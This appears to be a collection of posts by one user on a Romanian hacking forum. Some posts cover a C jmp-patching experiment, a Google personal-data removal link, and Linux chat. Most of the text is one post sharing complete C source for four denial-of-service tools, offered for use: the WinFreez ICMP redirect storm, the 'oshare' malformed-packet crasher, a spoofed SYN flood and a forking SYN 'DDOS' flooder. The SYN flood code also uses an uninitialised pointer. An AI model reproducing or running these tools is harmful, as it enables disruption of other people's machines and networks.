a13x4nd7u

Cred ca e offtopic ce a scris el, dar merge compilat si pe Android, ca doar e linux (try "termux" and you get console). Exista cel putin 2 metode (fork() - deja precizat de MrGrj sau vfork()) Am o curiozitate ce ma macina. Ar putea merge vreodata ceva ce seamana cu ceea ce e scris mai jos? (Incerc sa rescriu "jmp" care apare in locul "else"-ului, in functia "main". Din cunostintele mele e o incercare nereusita, din cauza optimizarilor diferitelor compilatoare, dar.. ar putea merge ceva de genul macar pe un compilator, cu optiunile de compilare specificate? A treia conditie din "if" era o incercare de a pacali compilatorul ca pot folosi ambele ramuri, atat "if" cat si "else". Nu merge intotdeauna si uneori poate optimiza si sa dispara una din ramuri "if"/"else" la compilare. Pozitiile 39 si 40 nu sunt chiar random, sunt preluate cu un hexeditor (diferenta de la inceputul adresei functiei main pana la adresa "else" in asamblare, iar instructiunea "jmp" in cazul meu era pe 2 octeti asa ca am pus 2 NOP (0x90 pentru x86) ). Codul nu mi-a mers, am primit un "Segmentation fault (core dumped)". )

Se pare ca uneori nu mergea (screenshot): http://pasteboard.co/gTOtRrmSi.png Poate e ok link-ul, le-o merge dubios serverul.

Make link work (again)?

In cazul in care doreste cineva sa ramana cat mai anonim (sa stearga mai toate datele cu caracter personal pe care le gasesti usor prin Google), acest link va poate ajuta: https://support.google.com/legal/contact/lr_eudpa?product=websearch&hl=ro Aici puteti face o cerere catre Google pentru a sterge link-urile nedorite din cautarile Google daca se cauta numele vostru si sunt gasite prea multe date personale, spre exemplu (puteti pune oricate link-uri care ofera prea multe date cu caracter personal la cautarea pe Google). Exemplu: In cazul meu am pornit de la emailul personal, si am gasit si telefonul personal, ce proiect de practica am avut, ce note am luat la facultate la proiectul de practica respectiv, cand am facut facultatea, cand am facut practica, ce cont de student am avut la facultate, aproape ca puteam ghici de pe Google si ce grupa eram (colegii de facultate oricum ii gasisem cu toate informatiile si pe ei). Daca cineva afla prea multe informatii despre tine poate chiar sa obtina acces la contul de mail (depinde de cat de mult ai tinut la securizarea email-ului sau conturilor respective, dar oricum ai atatea informatii de pe Google). Stiu ca aceasta decizie legata de datele personale si motoarele de cautare e din 2014, dar nu am gasit pe forum nimic de genul ( am cautat link-ul, cuvinte cheie, etc). Cu asta puteti face curat, sa ramaneti cat mai anonimi, sa nu se faca prea multe legaturi intre conturi si date personale confidentiale care ajuta la accesarea conturilor! Edit: Rog un moderator sa mute threadul daca gaseste un loc mai potrivit in care sa fie postat. Eu am postat aici deoarece e cel mai apropiat de tema SEO (cu motoare de cautare).

Daca merge si operatia radical de ordinul 3 atunci "8 8 8=6" se rezolva: (Radical de ordinul 3 din 8)+(Radical de ordinul 3 din 8)+(Radical de ordinul 3 din 8)=6

Pot sa dau raspunsul? (dau macar o parte din raspuns) Dar e tare cu numaratul printre caractere. this xx 1337 xxxx

Dragut. Nu ai voie sa postezi cereri aici "Programe Hack Postati aici ultimele utilitare de hack cum ar fi troieni, sniffere, brute forcers etc. NU FACETI CERERI AICI!", iar ca sa ceri ceva ai nevoie de minim 10 posturi (tu ai doar 1). Ai noroc ca nu te-a vazut niciun administrator ca sa iei ban.

Pai asa nu mergea si formatat direct? Adica scapi si de parola si de fisiere si de tot. Indiferent de card de memorie.

Mie cel mai mult imi place Debian si testez Slackware.

Vezi ca poate este de la firewall (kernel). Despre iptables.

Pai atunci ai putea invata PHP, Perl sau Python. Aceste limbaje de programare sunt mai usoare. Mult succes la invatat! Pentru ca o sa vezi ca si la imbaje de programare mai usoare ai de munca la inceput...

De fapt in cel mai rau caz 4-6 comenzi ca sa il instalezi si asta doar daca il instalezi din sursa.. (asta daca nu da erori la compilare si esti nevoit sa modifici sursa sau sa mai instalezi altceva pentru a putea compila) Ce Linux foloseai unde ai avut probleme cu instalarea?

Nu cred ca exista serpi de-astia in Romania.. nu au ce cauta aici..

Astepti 12 ore.

Foarte bun tutorialul, dar merge numai pe Linux. O sa postez mai multe surse de pe net care fac diferite lucruri folosind socket-uri (tot pentru Linux). EDIT: Toate programele sunt prezentate doar in scopuri educative si se gasesc si pe net. WinFreez.c /* WinFreez.c by Delmore <delmore@moscowmail.com> ICMP/Redirect-host message storm freeze Win9x/NT(sp4) box in LAN. Usage: winfreez sendtoip sendfromip time where <sendtoip> is victim host, <sendfromip> is router for victim host, <time> is time in seconds to freeze victim. Note: I've written small exploit for freeze win9x/nt boxes in LAN. Proggy initiates ICMP/Redirect-host messages storm from router (use router ip). Windows will receive redirect-host messages and change own route table, therefore it will be frozen or slowly working during this time. On victim machine route table changes viewing with: ROUTE PRINT command in ms-dos box. Exploit show different result for different system configuration. System results: p200/16ram/win95osr2 is slowly execute application after 20 seconds of storm. p233/96ram/nt4-sp4 is slowly working after 30 seconds of storm. p2-266/64ram/win95 working slowly and can't normal execute application. Compiled on RedHat Linux 5, Kernel 2.0.35 (x86) gcc ./winfreez.c -o winfreez --- for Slackware Linux, Kernel 2.0.30 If you can't compile due to ip_sum not defined errors, replace (line 207): ip->ip_sum = 0; to line: ip->ip_csum = 0; --- Soldiers Of Satan group Russia, Moscow State University, 05 march 1999 http://sos.nanko.ru Thanx to Mark Henderson. */ #define ICMP_REDIRECT 5 #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <sys/errno.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> /* #include <netinet/ip_icmp.h> */ /* * Structure of an icmp header (from sparc header). */ struct icmp { u_char icmp_type; /* type of message, see below */ u_char icmp_code; /* type sub code */ u_short icmp_cksum; /* ones complement cksum of struct */ union { u_char ih_pptr; /* ICMP_PARAMPROB */ struct in_addr ih_gwaddr; /* ICMP_REDIRECT */ struct ih_idseq { n_short icd_id; n_short icd_seq; } ih_idseq; int ih_void; } icmp_hun; #define icmp_pptr icmp_hun.ih_pptr #define icmp_gwaddr icmp_hun.ih_gwaddr #define icmp_id icmp_hun.ih_idseq.icd_id #define icmp_seq icmp_hun.ih_idseq.icd_seq #define icmp_void icmp_hun.ih_void union { struct id_ts { n_time its_otime; n_time its_rtime; n_time its_ttime; } id_ts; struct id_ip { struct ip idi_ip; /* options and then 64 bits of data */ } id_ip; u_long id_mask; char id_data[1]; } icmp_dun; #define icmp_otime icmp_dun.id_ts.its_otime #define icmp_rtime icmp_dun.id_ts.its_rtime #define icmp_ttime icmp_dun.id_ts.its_ttime #define icmp_ip icmp_dun.id_ip.idi_ip #define icmp_mask icmp_dun.id_mask #define icmp_data icmp_dun.id_data }; u_short in_cksum (u_short *addr, int len); void attack( char *sendtoip, char *sendfromip, time_t wtime, int s ); int main (int argc, char **argv) { time_t wtime; char *sendtoip, *sendfromip; int s, on; if (argc != 4) { fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]); exit (1); } sendtoip = (char *)malloc(strlen(argv[1]) + 1); strcpy(sendtoip, argv[1]); sendfromip = (char *)malloc(strlen(argv[2]) + 1); strcpy(sendfromip, argv[2]); wtime = atol(argv[3]); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf (stderr, "socket creation error\n" ); exit (1); } #ifdef IP_HDRINCL if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0) { fprintf (stderr, "sockopt IP_HDRINCL error\n" ); exit (1); } #endif printf("winfreez by Delmore, <delmore@moscowmail.com>\n"); printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n"); printf("sendto = %s\n", sendtoip); printf("sendfrom = %s\n", sendfromip); printf("time = %i s\n", wtime); attack( sendtoip, sendfromip, wtime, s ); free( (void *) sendtoip ); free( (void *) sendfromip ); } void attack( char *sendtoip, char *sendfromip, time_t wtime, int s ) { time_t curtime, endtime; int i1, i2, i3, i4; char redir[21]; char buf[100]; struct ip *ip = (struct ip *) buf; struct icmp *icmp = (struct icmp *) (ip + 1); struct hostent *hp; struct sockaddr_in dst; if(wtime==0) return; if ((hp = gethostbyname (sendtoip)) == NULL) if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1) { fprintf (stderr, "%s: unknown sendto\n", sendtoip); exit (1); } if ((hp = gethostbyname (sendfromip)) == NULL) if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1) { fprintf (stderr, "%s: unknown sendfrom\n", sendfromip); exit (1); } endtime = time(NULL) + wtime; srand((unsigned int) endtime); do { bzero (buf, sizeof buf); /* sendto/gateway */ hp = gethostbyname (sendtoip); bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length); /* sendfrom */ hp = gethostbyname (sendfromip); bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length); /* generate redirect*/ i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0)); i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0)); i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0)); i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0)); bzero (redir, sizeof redir); sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 ); hp = gethostbyname (redir); bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons (sizeof buf); ip->ip_id = htons (4321); ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills this in */ bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof (ip->ip_dst.s_addr)); icmp->icmp_ip.ip_v = 4; icmp->icmp_ip.ip_hl = sizeof *ip >> 2; icmp->icmp_ip.ip_tos = 0; icmp->icmp_ip.ip_len = htons (100); /* doesn't matter much */ icmp->icmp_ip.ip_id = htons (3722); icmp->icmp_ip.ip_off = 0; icmp->icmp_ip.ip_ttl = 254; icmp->icmp_ip.ip_p = 1; icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip); dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_REDIRECT; icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */ icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof (*ip)); if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) < 0 ) { fprintf (stderr, "sendto error: %d\n",errno); exit (1); } }while (time(NULL)!=endtime); } /* * in_cksum -- Checksum routine for Internet Protocol family headers (C * Version) - code from 4.4 BSD */ u_short in_cksum (u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } Cu programul urmator win95-ul si Mac-ul mai vechi picau (la win95 aparea ecran albastru). /****************************************************************************/ /* [ oshare_1_gou ver 0.1 ] -- Dressing up No.1 -- */ /* */ /* */ /* This program transmits the "oshare" packet which starts a machine aga- */ /* in or crash. But, because it can't pass through the router, it can be */ /* carried out only in the same segment. */ /* "oshare packet" is (frag 39193:-4@65528+), If ihl and tot_len are cha- */ /* nged, it has already tested that it becomes possible to kill Mac, too. */ /* ----------------------------------------- */ /* Written by R00t Zer0 */ /* E-Mail : defcon0@ugtop.com */ /* Web URL : http://www.ugtop.com/defcon0/index.htm */ /****************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <ctype.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <errno.h> u_short in_cksum( u_short *, int ); int send_oshare_packet( int, u_long ); u_short in_cksum( u_short *addr, int len ) { int nleft = len; u_short *w = addr; int sum = 0; u_short answer = 0; while( nleft > 1 ) { sum += *w++; nleft -= 2; } if (nleft == 1) { *( u_char *)( &answer ) = *( u_char *)w; sum += answer; } sum = ( sum >> 16 ) + ( sum & 0xffff ); sum += ( sum >> 16 ); answer = ~sum; return( answer ); } int send_oshare_packet( int sock_send, u_long dst_addr ) { char *packet; int send_status; struct ip *ip; struct sockaddr_in to; long lll; packet = ( char *)malloc( 40 ); ip = ( struct ip *)( packet ); memset( packet, 0, 40 ); ip->ip_v = 4; // ip->ip_hl = 11; ip->ip_tos = 0x00; // ip->ip_len = htons( 44 ); ip->ip_id = htons( 1999 ); ip->ip_off = htons( 16383 ); ip->ip_ttl = 0xff; ip->ip_p = IPPROTO_UDP; ip->ip_hl = rand() % 16; ip->ip_len = rand() % 0xffff; lll=(long)htonl( inet_addr( "1.1.1.1" )); memcpy(&ip->ip_src,&lll,sizeof(long)); memcpy(&ip->ip_dst,&dst_addr,sizeof(long)); ip->ip_sum = in_cksum( ( u_short *)ip, 44 ); to.sin_family = AF_INET; to.sin_port = htons( 0x123 ); to.sin_addr.s_addr = dst_addr; send_status = sendto( sock_send, packet, 40, 0, ( struct sockaddr *)&to, sizeof( struct sockaddr ) ); free( packet ); return( send_status ); } int main( int argc, char *argv[] ) { char tmp_buffer[ 1024 ]; int loop, loop2; int sock_send; u_long src_addr, dst_addr; u_short src_port, dst_port; struct hostent *host; struct sockaddr_in addr; time_t t; if( argc != 3 ) { printf( "Usage : %s <dst addr> <num(k)>\n", argv[0] ); exit( -1 ); } t = time( 0 ); srand( ( u_int )t ); memset( &addr, 0, sizeof( struct sockaddr_in ) ); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr( argv[1] ); if( addr.sin_addr.s_addr == -1 ) { host = gethostbyname( argv[1] ); if( host == NULL ) { printf( "Unknown host %s.\n", argv[1] ); exit( -1 ); } addr.sin_family = host->h_addrtype; memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length ); } memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 ); if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1) { perror( "Getting raw send socket" ); exit( -1 ); } printf( "\n\"Oshare Packet\" sending" ); fflush( stdout ); for( loop = 0; loop < atoi( argv[2] ); loop++ ) { for( loop2 = 0; loop2 < 1000; loop2++ ) send_oshare_packet( sock_send, dst_addr ); fprintf( stderr, "." ); fflush( stdout ); } printf( "\n\nDone.\n\n" ); fflush( stdout ); close( sock_send ); exit( 0 ); } Syn Flood: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define DST_PORT 137 static char *dst_addr = "127.0.0.1"; struct pseudo_header { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; }__attribute__ ((packed)); int create_raw_socket(void); int send_frag_ip_pkt(int); u_short in_cksum(u_short *, int); static u_short ip_id = 0x789; int main(int argc, char *argv[]) { int sock = create_raw_socket(); int n = 0; if(argc>=2) { dst_addr = argv[1]; } srand(time(NULL)); while(1) { printf("%d: Sending IP packet ... ", n++); fflush(stdout); if(send_frag_ip_pkt(sock)<0) { perror("sendto"); return -1; } printf("done\n"); if( (n%1000)==0 ) sleep(1); } close(sock); return 0; } int create_raw_socket(void) { int sock; int on = 1; sock = socket(AF_INET, SOCK_RAW,IPPROTO_ICMP); if(sock<0) { perror("socket"); exit(1); } if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))<0) { perror("setsockopt"); exit(1); } return sock; } int send_frag_ip_pkt(int sd) { struct sockaddr_in sin; unsigned char buf[20 + 20 +4]; unsigned char chkbuf[512]; char local_addr[32]; struct iphdr *iph; struct tcphdr*tcph; struct pseudo_header *ph; u_short *port; int i; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(dst_addr); sin.sin_port = 0; sprintf(local_addr, "192.168.0.%u", 1 + ((unsigned)rand())%253 ); memset(buf, 0, sizeof(buf)); iph = (struct iphdr *)buf; iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(buf); iph->id = ip_id++; iph->frag_off = 0; iph->ttl = 255; iph->protocol = IPPROTO_TCP; iph->check = 0; iph->saddr = inet_addr(local_addr); iph->daddr = inet_addr(dst_addr); iph->check = in_cksum((u_short *)buf, 20); tcph = (struct tcphdr *)&buf[20]; tcph->source= htons((u_short)(2000 + rand() % 1000)); tcph->dest = htons(DST_PORT); tcph->seq = (unsigned short)rand(); tcph->ack_seq = 0; tcph->doff = 6; /* data offset */ tcph->syn = 1; tcph->window= htons(8000); tcph->check = 0; tcph->urg_ptr = 0; buf[40] = TCPOPT_MAXSEG; buf[41] = 4; *(unsigned short *)(buf + 42) = htons(1460); ph->src_addr = iph->saddr; ph->dst_addr = iph->daddr; ph->zero = 0; ph->proto = iph->protocol; ph->length = htons(sizeof(buf) - sizeof(*iph)); memcpy(chkbuf + sizeof(*ph), &buf[sizeof(*iph)], sizeof(buf) - sizeof(*iph)); tcph->check = in_cksum((u_short *)chkbuf, sizeof(buf) - sizeof(*iph) + sizeof(*ph)); return sendto(sd, buf, sizeof(buf), 0, (struct sockaddr *)&sin, sizeof(sin)); } u_short in_cksum(u_short *addr, int len) { int nleft = len; int sum = 0; u_short *w = addr; u_short answer = 0; while(nleft > 1) { sum += *w; w++; nleft -= 2; } if(nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; } sum = (sum>>16) + (sum & 0xffff); sum += (sum>>16); answer = ~sum; return answer; } DDOS: #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <stdio.h> #include <netdb.h> #define DESTPORT 80 #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); setuid(getpid()); send_tcp(sockfd,&addr); } void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; struct ip *ip; struct tcphdr *tcp; int head_len; head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); ip=(struct ip *)buffer; ip->ip_v=IPVERSION; ip->ip_hl=sizeof(struct ip)>>2; ip->ip_tos=0; ip->ip_len=htons(head_len); ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=addr->sin_addr; tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; tcp->check=0; fork(); fork(); while(1) { ip->ip_src.s_addr=random(); printf("*"); tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); }